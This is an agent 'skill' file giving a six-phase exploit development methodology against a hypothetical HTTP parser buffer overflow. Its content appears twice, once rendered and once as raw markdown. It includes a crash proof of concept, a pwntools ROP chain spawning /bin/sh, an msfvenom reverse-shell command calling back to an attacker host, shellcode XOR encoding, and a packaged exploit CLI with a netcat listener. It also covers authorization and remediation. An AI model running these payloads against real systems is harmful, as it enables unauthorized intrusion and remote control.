Exploit Development Workflow
Overview
Exploit development transforms vulnerability discovery into working proof-of-concept code. A systematic workflow ensures reliability, maintainability, and safety. This skill covers the full lifecycle from initial analysis to weaponization, focusing on methodical testing and incremental development.
Core principle: Build exploits iteratively with extensive testing at each stage. Never skip validation steps. Document assumptions and constraints.
When to Use
Use this skill when:
- You've discovered a vulnerability requiring custom exploit
- Adapting public exploits to different environments
- Developing proof-of-concept for bug bounty/responsible disclosure
- Creating reliable exploitation tools for penetration testing
- Researching exploitation techniques for educational purposes
Don't use when:
- No authorization to test/exploit the target
- Developing for malicious purposes
- Skipping the root cause analysis phase
- Haven't fully understood the vulnerability
The Six-Phase Workflow
Phase 1: Vulnerability Analysis
Goal: Fully understand the vulnerability, its root cause, and exploitation constraints.
Activities:
Root Cause Analysis
# Document the vulnerability
"""
Vulnerability: Buffer Overflow in parse_header()
Root Cause:
- Function: parse_header() in http_parser.c:234
- Issue: strcpy() without bounds checking
- Input: HTTP Host header
- Trigger: Header > 256 bytes
Requirements:
- Network access to service (port 8080)
- No authentication required
- Service runs as root (target for privilege escalation)
Constraints:
- Bad characters: \x00, \x0a, \x0d (null, newline, carriage return)
- Stack cookies: DISABLED (binary analysis confirms)
- ASLR: ENABLED on target system
- NX: ENABLED (stack not executable)
"""
Attack Surface Mapping
- How can attacker reach vulnerable code path?
- What inputs are controllable?
- What security mitigations are present?
- What are success criteria for exploitation?
Environment Setup
# Set up identical testing environment
# - Same OS version
# - Same library versions
# - Same compiler/build flags if possible
# For binary exploitation
gdb-peda target_binary
checksec target_binary
# Check ASLR, NX, stack canaries, PIE
# Install debugging symbols if available
Phase 2: Proof of Concept (Crash)
Goal: Trigger the vulnerability reliably and confirm exploitation is possible.
Activities:
Initial Trigger
#!/usr/bin/env python3
# poc_crash.py - Trigger the vulnerability
import socket
import sys
# Target configuration
TARGET_IP = "192.168.1.100"
TARGET_PORT = 8080
# Create malicious payload
# Start with pattern to identify offset
payload = b"A" * 300 # Exceeds 256 byte buffer
# Build HTTP request
request = b"GET / HTTP/1.1\r\n"
request += b"Host: " + payload + b"\r\n"
request += b"Connection: close\r\n\r\n"
# Send exploit
print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))
print(f"[*] Sending {len(payload)} byte payload")
s.send(request)
response = s.recv(4096)
print(f"[*] Response: {response[:100]}")
s.close()
print("[+] Payload sent")
Verify Crash
# Run target under debugger
gdb -q ./target_binary
(gdb) run
# In another terminal, run PoC
python3 poc_crash.py
# Check crash details
# - EIP/RIP overwritten?
# - What address is being accessed?
# - Segmentation fault or other error?
Calculate Offset
# Generate cyclic pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
# Update PoC with pattern, trigger crash
# Check crash address in GDB
# Calculate offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41614141
# [*] Exact match at offset 268
Phase 3: Control Flow Hijacking
Goal: Gain control of execution flow (EIP/RIP control or equivalent).
Activities:
Verify EIP/RIP Control
# Update PoC to verify control
offset = 268
payload = b"A" * offset
payload += b"BBBB" # Should overwrite EIP with 0x42424242
payload += b"C" * (300 - offset - 4)
# Verify in debugger that EIP = 0x42424242
Bypass Security Mitigations
ASLR Bypass:
# Option 1: Info leak to defeat ASLR
# - Leak stack/heap/library address
# - Use leaked address to calculate gadget locations
# Option 2: Partial overwrite (if applicable)
# - Overwrite only last 2 bytes of return address
# - Brute force or use known offsets
# Option 3: ROP chain with known gadgets
# - Find gadgets in non-ASLR executable region
NX Bypass (Non-executable stack):
# Use Return-Oriented Programming (ROP)
# Find gadgets in existing executable code
from pwn import *
# Load binary
elf = ELF('./target_binary')
# Find gadgets
rop = ROP(elf)
# Build ROP chain
# Example: call system("/bin/sh")
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
bin_sh_addr = next(elf.search(b'/bin/sh'))
system_addr = elf.symbols['system']
payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
Test Control Flow
# Verify you can redirect execution
# - Jump to custom shellcode (if NX disabled)
# - Execute ROP chain (if NX enabled)
# - Call arbitrary functions
Phase 4: Payload Development
Goal: Develop payload that achieves exploitation objectives (shell, code execution, etc.).
Activities:
Choose Payload Type
# Common payload types:
# - Bind shell: Open port on target
# - Reverse shell: Connect back to attacker
# - Execute command: Run specific command
# - Download and execute: Fetch second-stage payload
# - Meterpreter/C2 agent: Full-featured backdoor
Generate Shellcode
# Using msfvenom
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=10.0.0.1 \
LPORT=4444 \
-f python \
-b '\x00\x0a\x0d' \
-v shellcode
# Or write custom shellcode
# - More reliable
# - Smaller size
# - Custom functionality
Handle Bad Characters
# Encode shellcode to avoid bad characters
# Option 1: Alpha-numeric encoding
# Option 2: XOR encoding
# Option 3: Custom encoding with stub
def xor_encode(shellcode, key=0x42):
encoded = b""
for byte in shellcode:
encoded += bytes([byte ^ key])
return encoded
# Prepend decoder stub
decoder_stub = b"\x48\x31\xc0..." # Assembly to decode in memory
encoded_shellcode = xor_encode(shellcode, 0x42)
final_payload = decoder_stub + encoded_shellcode
Phase 5: Exploit Reliability
Goal: Make exploit work consistently across environments and conditions.
Activities:
Handle Timing Issues
# Add appropriate delays
time.sleep(0.5) # Wait for service to process
# Handle slow networks
s.settimeout(10)
# Retry logic
max_retries = 3
for attempt in range(max_retries):
try:
# Attempt exploitation
break
except Exception as e:
if attempt == max_retries - 1:
raise
time.sleep(1)
Environment Detection
def detect_environment():
"""Detect target environment for dynamic exploit adjustment"""
# Banner grabbing
banner = s.recv(1024)
# Parse version info
if b"v2.1" in banner:
return "v2.1_offsets"
elif b"v2.2" in banner:
return "v2.2_offsets"
else:
raise Exception("Unknown version")
# Use environment-specific offsets/addresses
offsets = {
"v2.1_offsets": {"buffer": 268, "ret": 0x08048ABC},
"v2.2_offsets": {"buffer": 272, "ret": 0x08048DEF}
}
Error Handling
class ExploitException(Exception):
pass
def exploit(target_ip, target_port):
try:
# Exploitation code
pass
except socket.timeout:
print("[-] Connection timeout - target may be down")
return False
except ConnectionRefusedError:
print("[-] Connection refused - service not running")
return False
except ExploitException as e:
print(f"[-] Exploit failed: {e}")
return False
return True
Phase 6: Weaponization and Documentation
Goal: Package exploit as professional tool with documentation.
Activities:
Command-Line Interface
#!/usr/bin/env python3
import argparse
def main():
parser = argparse.ArgumentParser(
description='HTTP Parser Buffer Overflow Exploit',
epilog='Example: %(prog)s -t 192.168.1.100 -p 8080 -l 10.0.0.1:4444'
)
parser.add_argument('-t', '--target', required=True,
help='Target IP address')
parser.add_argument('-p', '--port', type=int, default=8080,
help='Target port (default: 8080)')
parser.add_argument('-l', '--lhost', required=True,
help='Listener IP:port for reverse shell')
parser.add_argument('-v', '--verbose', action='store_true',
help='Verbose output')
args = parser.parse_args()
# Parse LHOST:LPORT
lhost, lport = args.lhost.split(':')
# Run exploit
exploit(args.target, args.port, lhost, int(lport), args.verbose)
if __name__ == '__main__':
main()
Comprehensive Documentation
# HTTP Parser Buffer Overflow Exploit
## Vulnerability Details
- CVE: CVE-2024-XXXXX (if applicable)
- Vendor: ExampleCorp
- Product: HTTP Parser v2.1-2.3
- Type: Stack-based buffer overflow
- Impact: Remote Code Execution
## Affected Versions
- HTTP Parser 2.1.0 - 2.3.5
- Fixed in version 2.3.6
## Requirements
- Network access to target HTTP service (default port 8080)
- Python 3.6+
- pwntools library (`pip3 install pwntools`)
## Usage
```bash
# Start listener on attacker machine
nc -lvnp 4444
# Run exploit
python3 exploit.py -t 192.168.1.100 -p 8080 -l 10.0.0.1:4444
Technical Details
Root Cause
The vulnerability exists in parse_header() function which uses unsafe
strcpy() to copy user-supplied Host header into fixed-size stack buffer.
Exploitation Process
- Send oversized Host header (300 bytes)
- Overwrite return address at offset 268
- Redirect to ROP chain (bypass NX)
- ROP chain calls mprotect() to mark stack executable
- Jump to shellcode on stack
- Shellcode connects back to attacker
Security Mitigations Bypassed
- ASLR: Using ROP gadgets from main executable (non-ASLR)
- NX: ROP chain to call mprotect() before shellcode execution
- Stack Canaries: Disabled in vulnerable versions
Limitations
- Requires target to run vulnerable version
- Target must be network-accessible
- Service must be running (not crashed)
- Shellcode limited by bad characters (\x00, \x0a, \x0d)
Remediation
- Update to version 2.3.6 or later
- Implement bounds checking in parse_header()
- Enable stack canaries during compilation
- Run service with reduced privileges
References
Testing and Validation
Always test exploits thoroughly:
Local Testing
# Set up isolated test environment
# - Virtual machines
# - Docker containers
# - Separate network segment
Success Criteria
- Exploit works reliably (>90% success rate)
- Payload executes as expected
- No unintended crashes or damage
- Clean exit possible (if designed)
Edge Cases
- Different OS versions
- Different architecture (32-bit vs 64-bit)
- Different security settings
- Slow or unreliable networks
Common Pitfalls
| Mistake |
Impact |
Solution |
| Skipping root cause analysis |
Unreliable exploit |
Fully understand vulnerability first |
| Not handling bad characters |
Exploit fails |
Test for and encode around bad chars |
| Ignoring security mitigations |
Exploit doesn't work |
Identify and bypass each mitigation |
| Hardcoding addresses |
Exploit non-portable |
Use relative offsets or info leaks |
| No error handling |
Exploit crashes on failure |
Add comprehensive error handling |
| Poor documentation |
Others can't use/verify |
Document thoroughly |
Legal and Ethical Considerations
CRITICAL - Always follow these rules:
Authorization Required
- Never exploit systems without written permission
- Understand scope and limitations
- Bug bounty programs have specific rules
Responsible Disclosure
- Report to vendor first (typically 90 days before public)
- Don't release weaponized exploits publicly without coordination
- Follow coordinated disclosure timelines
No Malicious Use
- Exploit development for defense, research, or authorized testing only
- Never use against unauthorized targets
- Understand legal consequences
Data Protection
- Don't access or exfiltrate sensitive data
- Minimize impact on systems
- Document all testing activities
Tool Recommendations
Exploitation Frameworks:
- Metasploit Framework
- pwntools (Python)
- ROPgadget
- radare2/rizin
Debugging:
- GDB with PEDA/GEF/pwndbg
- WinDbg (Windows)
- IDA Pro/Ghidra for reversing
Shellcode:
- msfvenom
- shellcode compilers
- Custom assembly
Integration with Other Skills
This skill works with:
- skills/analysis/binary-analysis - Prerequisite for understanding target
- skills/exploitation/payload-generation - Related to Phase 4
- skills/analysis/zero-day-hunting - Upstream vulnerability discovery
- skills/automation/* - Automate exploit testing
- skills/documentation/* - Document exploits properly
Success Metrics
A successful exploit should:
- Work reliably (>90% success rate in test environment)
- Handle errors gracefully
- Be well-documented
- Include usage examples
- Respect ethical/legal boundaries
- Minimize unintended impact
References and Further Reading
- "The Shellcoder's Handbook" by Koziol et al.
- "Hacking: The Art of Exploitation" by Jon Erickson
- "A Guide to Kernel Exploitation" by Perla & Oldani
- Corelan tutorials on exploit development
- LiveOverflow YouTube series
- Exploit-DB and CVE databases for examples
1---2name: exploit-development-workflow3description: Systematic methodology for developing reliable exploits from vulnerability discovery to weaponization4---5
6# Exploit Development Workflow
7
8## Overview
9
10Exploit development transforms vulnerability discovery into working proof-of-concept code. A systematic workflow ensures reliability, maintainability, and safety. This skill covers the full lifecycle from initial analysis to weaponization, focusing on methodical testing and incremental development.
11
12**Core principle:** Build exploits iteratively with extensive testing at each stage. Never skip validation steps. Document assumptions and constraints.
13
14## When to Use
15
16Use this skill when:
17- You've discovered a vulnerability requiring custom exploit
18- Adapting public exploits to different environments
19- Developing proof-of-concept for bug bounty/responsible disclosure
20- Creating reliable exploitation tools for penetration testing
21- Researching exploitation techniques for educational purposes
22
23**Don't use when:**
24- No authorization to test/exploit the target
25- Developing for malicious purposes
26- Skipping the root cause analysis phase
27- Haven't fully understood the vulnerability
28
29## The Six-Phase Workflow
30
31### Phase 1: Vulnerability Analysis
32
33**Goal:** Fully understand the vulnerability, its root cause, and exploitation constraints.
34
35**Activities:**
36
371. **Root Cause Analysis**
38 ```python
39 # Document the vulnerability
40 """
41 Vulnerability: Buffer Overflow in parse_header()
42
43 Root Cause:
44 - Function: parse_header() in http_parser.c:234
45 - Issue: strcpy() without bounds checking
46 - Input: HTTP Host header
47 - Trigger: Header > 256 bytes
48
49 Requirements:
50 - Network access to service (port 8080)
51 - No authentication required
52 - Service runs as root (target for privilege escalation)
53
54 Constraints:
55 - Bad characters: \x00, \x0a, \x0d (null, newline, carriage return)
56 - Stack cookies: DISABLED (binary analysis confirms)
57 - ASLR: ENABLED on target system
58 - NX: ENABLED (stack not executable)
59 """
60 ```
61
622. **Attack Surface Mapping**
63 - How can attacker reach vulnerable code path?
64 - What inputs are controllable?
65 - What security mitigations are present?
66 - What are success criteria for exploitation?
67
683. **Environment Setup**
69 ```bash
70 # Set up identical testing environment
71 # - Same OS version
72 # - Same library versions
73 # - Same compiler/build flags if possible
74
75 # For binary exploitation
76 gdb-peda target_binary
77 checksec target_binary
78
79 # Check ASLR, NX, stack canaries, PIE
80 # Install debugging symbols if available
81 ```
82
83### Phase 2: Proof of Concept (Crash)
84
85**Goal:** Trigger the vulnerability reliably and confirm exploitation is possible.
86
87**Activities:**
88
891. **Initial Trigger**
90 ```python
91 #!/usr/bin/env python3
92 # poc_crash.py - Trigger the vulnerability
93
94 import socket
95 import sys
96
97 # Target configuration
98 TARGET_IP = "192.168.1.100"
99 TARGET_PORT = 8080
100
101 # Create malicious payload
102 # Start with pattern to identify offset
103 payload = b"A" * 300 # Exceeds 256 byte buffer
104
105 # Build HTTP request
106 request = b"GET / HTTP/1.1\r\n"
107 request += b"Host: " + payload + b"\r\n"
108 request += b"Connection: close\r\n\r\n"
109
110 # Send exploit
111 print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}")
112 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
113 s.connect((TARGET_IP, TARGET_PORT))
114
115 print(f"[*] Sending {len(payload)} byte payload")
116 s.send(request)
117
118 response = s.recv(4096)
119 print(f"[*] Response: {response[:100]}")
120
121 s.close()
122 print("[+] Payload sent")
123 ```
124
1252. **Verify Crash**
126 ```bash
127 # Run target under debugger
128 gdb -q ./target_binary
129 (gdb) run
130
131 # In another terminal, run PoC
132 python3 poc_crash.py
133
134 # Check crash details
135 # - EIP/RIP overwritten?
136 # - What address is being accessed?
137 # - Segmentation fault or other error?
138 ```
139
1403. **Calculate Offset**
141 ```bash
142 # Generate cyclic pattern
143 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
144
145 # Update PoC with pattern, trigger crash
146 # Check crash address in GDB
147
148 # Calculate offset
149 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41614141
150 # [*] Exact match at offset 268
151 ```
152
153### Phase 3: Control Flow Hijacking
154
155**Goal:** Gain control of execution flow (EIP/RIP control or equivalent).
156
157**Activities:**
158
1591. **Verify EIP/RIP Control**
160 ```python
161 # Update PoC to verify control
162 offset = 268
163 payload = b"A" * offset
164 payload += b"BBBB" # Should overwrite EIP with 0x42424242
165 payload += b"C" * (300 - offset - 4)
166
167 # Verify in debugger that EIP = 0x42424242
168 ```
169
1702. **Bypass Security Mitigations**
171
172 **ASLR Bypass:**
173 ```python
174 # Option 1: Info leak to defeat ASLR
175 # - Leak stack/heap/library address
176 # - Use leaked address to calculate gadget locations
177
178 # Option 2: Partial overwrite (if applicable)
179 # - Overwrite only last 2 bytes of return address
180 # - Brute force or use known offsets
181
182 # Option 3: ROP chain with known gadgets
183 # - Find gadgets in non-ASLR executable region
184 ```
185
186 **NX Bypass (Non-executable stack):**
187 ```python
188 # Use Return-Oriented Programming (ROP)
189 # Find gadgets in existing executable code
190
191 from pwn import *
192
193 # Load binary
194 elf = ELF('./target_binary')
195
196 # Find gadgets
197 rop = ROP(elf)
198
199 # Build ROP chain
200 # Example: call system("/bin/sh")
201 pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
202 bin_sh_addr = next(elf.search(b'/bin/sh'))
203 system_addr = elf.symbols['system']
204
205 payload = b"A" * offset
206 payload += p64(pop_rdi)
207 payload += p64(bin_sh_addr)
208 payload += p64(system_addr)
209 ```
210
2113. **Test Control Flow**
212 ```bash
213 # Verify you can redirect execution
214 # - Jump to custom shellcode (if NX disabled)
215 # - Execute ROP chain (if NX enabled)
216 # - Call arbitrary functions
217 ```
218
219### Phase 4: Payload Development
220
221**Goal:** Develop payload that achieves exploitation objectives (shell, code execution, etc.).
222
223**Activities:**
224
2251. **Choose Payload Type**
226 ```python
227 # Common payload types:
228 # - Bind shell: Open port on target
229 # - Reverse shell: Connect back to attacker
230 # - Execute command: Run specific command
231 # - Download and execute: Fetch second-stage payload
232 # - Meterpreter/C2 agent: Full-featured backdoor
233 ```
234
2352. **Generate Shellcode**
236 ```bash
237 # Using msfvenom
238 msfvenom -p linux/x64/shell_reverse_tcp \
239 LHOST=10.0.0.1 \
240 LPORT=4444 \
241 -f python \
242 -b '\x00\x0a\x0d' \
243 -v shellcode
244
245 # Or write custom shellcode
246 # - More reliable
247 # - Smaller size
248 # - Custom functionality
249 ```
250
2513. **Handle Bad Characters**
252 ```python
253 # Encode shellcode to avoid bad characters
254
255 # Option 1: Alpha-numeric encoding
256 # Option 2: XOR encoding
257 # Option 3: Custom encoding with stub
258
259 def xor_encode(shellcode, key=0x42):
260 encoded = b""
261 for byte in shellcode:
262 encoded += bytes([byte ^ key])
263 return encoded
264
265 # Prepend decoder stub
266 decoder_stub = b"\x48\x31\xc0..." # Assembly to decode in memory
267 encoded_shellcode = xor_encode(shellcode, 0x42)
268 final_payload = decoder_stub + encoded_shellcode
269 ```
270
271### Phase 5: Exploit Reliability
272
273**Goal:** Make exploit work consistently across environments and conditions.
274
275**Activities:**
276
2771. **Handle Timing Issues**
278 ```python
279 # Add appropriate delays
280 time.sleep(0.5) # Wait for service to process
281
282 # Handle slow networks
283 s.settimeout(10)
284
285 # Retry logic
286 max_retries = 3
287 for attempt in range(max_retries):
288 try:
289 # Attempt exploitation
290 break
291 except Exception as e:
292 if attempt == max_retries - 1:
293 raise
294 time.sleep(1)
295 ```
296
2972. **Environment Detection**
298 ```python
299 def detect_environment():
300 """Detect target environment for dynamic exploit adjustment"""
301 # Banner grabbing
302 banner = s.recv(1024)
303
304 # Parse version info
305 if b"v2.1" in banner:
306 return "v2.1_offsets"
307 elif b"v2.2" in banner:
308 return "v2.2_offsets"
309 else:
310 raise Exception("Unknown version")
311
312 # Use environment-specific offsets/addresses
313 offsets = {
314 "v2.1_offsets": {"buffer": 268, "ret": 0x08048ABC},
315 "v2.2_offsets": {"buffer": 272, "ret": 0x08048DEF}
316 }
317 ```
318
3193. **Error Handling**
320 ```python
321 class ExploitException(Exception):
322 pass
323
324 def exploit(target_ip, target_port):
325 try:
326 # Exploitation code
327 pass
328 except socket.timeout:
329 print("[-] Connection timeout - target may be down")
330 return False
331 except ConnectionRefusedError:
332 print("[-] Connection refused - service not running")
333 return False
334 except ExploitException as e:
335 print(f"[-] Exploit failed: {e}")
336 return False
337
338 return True
339 ```
340
341### Phase 6: Weaponization and Documentation
342
343**Goal:** Package exploit as professional tool with documentation.
344
345**Activities:**
346
3471. **Command-Line Interface**
348 ```python
349 #!/usr/bin/env python3
350 import argparse
351
352 def main():
353 parser = argparse.ArgumentParser(
354 description='HTTP Parser Buffer Overflow Exploit',
355 epilog='Example: %(prog)s -t 192.168.1.100 -p 8080 -l 10.0.0.1:4444'
356 )
357 parser.add_argument('-t', '--target', required=True,
358 help='Target IP address')
359 parser.add_argument('-p', '--port', type=int, default=8080,
360 help='Target port (default: 8080)')
361 parser.add_argument('-l', '--lhost', required=True,
362 help='Listener IP:port for reverse shell')
363 parser.add_argument('-v', '--verbose', action='store_true',
364 help='Verbose output')
365
366 args = parser.parse_args()
367
368 # Parse LHOST:LPORT
369 lhost, lport = args.lhost.split(':')
370
371 # Run exploit
372 exploit(args.target, args.port, lhost, int(lport), args.verbose)
373
374 if __name__ == '__main__':
375 main()
376 ```
377
3782. **Comprehensive Documentation**
379 ```markdown
380 # HTTP Parser Buffer Overflow Exploit
381
382 ## Vulnerability Details
383 - CVE: CVE-2024-XXXXX (if applicable)
384 - Vendor: ExampleCorp
385 - Product: HTTP Parser v2.1-2.3
386 - Type: Stack-based buffer overflow
387 - Impact: Remote Code Execution
388
389 ## Affected Versions
390 - HTTP Parser 2.1.0 - 2.3.5
391 - Fixed in version 2.3.6
392
393 ## Requirements
394 - Network access to target HTTP service (default port 8080)
395 - Python 3.6+
396 - pwntools library (`pip3 install pwntools`)
397
398 ## Usage
399 ```bash
400 # Start listener on attacker machine
401 nc -lvnp 4444
402
403 # Run exploit
404 python3 exploit.py -t 192.168.1.100 -p 8080 -l 10.0.0.1:4444
405 ```
406
407 ## Technical Details
408 ### Root Cause
409 The vulnerability exists in `parse_header()` function which uses unsafe
410 `strcpy()` to copy user-supplied Host header into fixed-size stack buffer.
411
412 ### Exploitation Process
413 1. Send oversized Host header (300 bytes)
414 2. Overwrite return address at offset 268
415 3. Redirect to ROP chain (bypass NX)
416 4. ROP chain calls mprotect() to mark stack executable
417 5. Jump to shellcode on stack
418 6. Shellcode connects back to attacker
419
420 ### Security Mitigations Bypassed
421 - ASLR: Using ROP gadgets from main executable (non-ASLR)
422 - NX: ROP chain to call mprotect() before shellcode execution
423 - Stack Canaries: Disabled in vulnerable versions
424
425 ## Limitations
426 - Requires target to run vulnerable version
427 - Target must be network-accessible
428 - Service must be running (not crashed)
429 - Shellcode limited by bad characters (\x00, \x0a, \x0d)
430
431 ## Remediation
432 - Update to version 2.3.6 or later
433 - Implement bounds checking in parse_header()
434 - Enable stack canaries during compilation
435 - Run service with reduced privileges
436
437 ## References
438 - Advisory: https://example.com/advisory/CVE-2024-XXXXX
439 - Patch: https://github.com/vendor/product/commit/abc123
440 ```
441
442## Testing and Validation
443
444**Always test exploits thoroughly:**
445
4461. **Local Testing**
447 ```bash
448 # Set up isolated test environment
449 # - Virtual machines
450 # - Docker containers
451 # - Separate network segment
452 ```
453
4542. **Success Criteria**
455 - Exploit works reliably (>90% success rate)
456 - Payload executes as expected
457 - No unintended crashes or damage
458 - Clean exit possible (if designed)
459
4603. **Edge Cases**
461 - Different OS versions
462 - Different architecture (32-bit vs 64-bit)
463 - Different security settings
464 - Slow or unreliable networks
465
466## Common Pitfalls
467
468| Mistake | Impact | Solution |
469|---------|--------|----------|
470| Skipping root cause analysis | Unreliable exploit | Fully understand vulnerability first |
471| Not handling bad characters | Exploit fails | Test for and encode around bad chars |
472| Ignoring security mitigations | Exploit doesn't work | Identify and bypass each mitigation |
473| Hardcoding addresses | Exploit non-portable | Use relative offsets or info leaks |
474| No error handling | Exploit crashes on failure | Add comprehensive error handling |
475| Poor documentation | Others can't use/verify | Document thoroughly |
476
477## Legal and Ethical Considerations
478
479**CRITICAL - Always follow these rules:**
480
4811. **Authorization Required**
482 - Never exploit systems without written permission
483 - Understand scope and limitations
484 - Bug bounty programs have specific rules
485
4862. **Responsible Disclosure**
487 - Report to vendor first (typically 90 days before public)
488 - Don't release weaponized exploits publicly without coordination
489 - Follow coordinated disclosure timelines
490
4913. **No Malicious Use**
492 - Exploit development for defense, research, or authorized testing only
493 - Never use against unauthorized targets
494 - Understand legal consequences
495
4964. **Data Protection**
497 - Don't access or exfiltrate sensitive data
498 - Minimize impact on systems
499 - Document all testing activities
500
501## Tool Recommendations
502
503**Exploitation Frameworks:**
504- Metasploit Framework
505- pwntools (Python)
506- ROPgadget
507- radare2/rizin
508
509**Debugging:**
510- GDB with PEDA/GEF/pwndbg
511- WinDbg (Windows)
512- IDA Pro/Ghidra for reversing
513
514**Shellcode:**
515- msfvenom
516- shellcode compilers
517- Custom assembly
518
519## Integration with Other Skills
520
521This skill works with:
522- skills/analysis/binary-analysis - Prerequisite for understanding target
523- skills/exploitation/payload-generation - Related to Phase 4
524- skills/analysis/zero-day-hunting - Upstream vulnerability discovery
525- skills/automation/* - Automate exploit testing
526- skills/documentation/* - Document exploits properly
527
528## Success Metrics
529
530A successful exploit should:
531- Work reliably (>90% success rate in test environment)
532- Handle errors gracefully
533- Be well-documented
534- Include usage examples
535- Respect ethical/legal boundaries
536- Minimize unintended impact
537
538## References and Further Reading
539
540- "The Shellcoder's Handbook" by Koziol et al.
541- "Hacking: The Art of Exploitation" by Jon Erickson
542- "A Guide to Kernel Exploitation" by Perla & Oldani
543- Corelan tutorials on exploit development
544- LiveOverflow YouTube series
545- Exploit-DB and CVE databases for examples